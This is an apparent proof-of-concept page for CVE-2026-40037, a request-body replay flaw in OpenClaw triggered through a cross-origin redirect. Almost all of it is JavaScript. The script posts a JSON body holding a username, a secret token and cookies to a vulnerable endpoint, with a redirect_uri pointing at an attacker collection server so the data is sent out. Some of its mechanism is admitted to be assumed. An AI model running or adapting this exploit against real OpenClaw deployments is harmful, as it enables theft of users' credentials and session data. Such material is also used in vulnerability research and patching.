CVE-2026-40037 OpenClaw请求体重放漏洞

/* * PoC for CVE-2026-40037 * Demonstrates request body replay via cross-origin redirect. * This script simulates a victim browser sending a request to the vulnerable OpenClaw endpoint. */ // Attacker controlled server to receive exfiltrated data const attackerUrl = "https://attacker.com/collect"; // Vulnerable OpenClaw endpoint that uses fetchWithSsrFGuard const vulnerableEndpoint = "https://vulnerable-openclaw.com/api/sync"; // Sensitive data that will be replayed const sensitivePayload = { username: "admin", secret_token: "abc-123-secret-key", personal_info: "Confidential Data" }; function exploit() { // Construct a URL that forces a redirect on the server side // Assuming the 'redirect_uri' parameter is used by the vulnerable function const exploitUrl = `${vulnerableEndpoint}?redirect_uri=${encodeURIComponent(attackerUrl)}`; fetch(exploitUrl, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(sensitivePayload), credentials: "include" // Include cookies if necessary }) .then(response => { if (response.redirected) { console.log(`Request redirected to: ${response.url}`); console.log("Sensitive data potentially leaked to attacker."); } }) .catch(error => console.error("Exploit failed:", error)); } // Execute exploit exploit();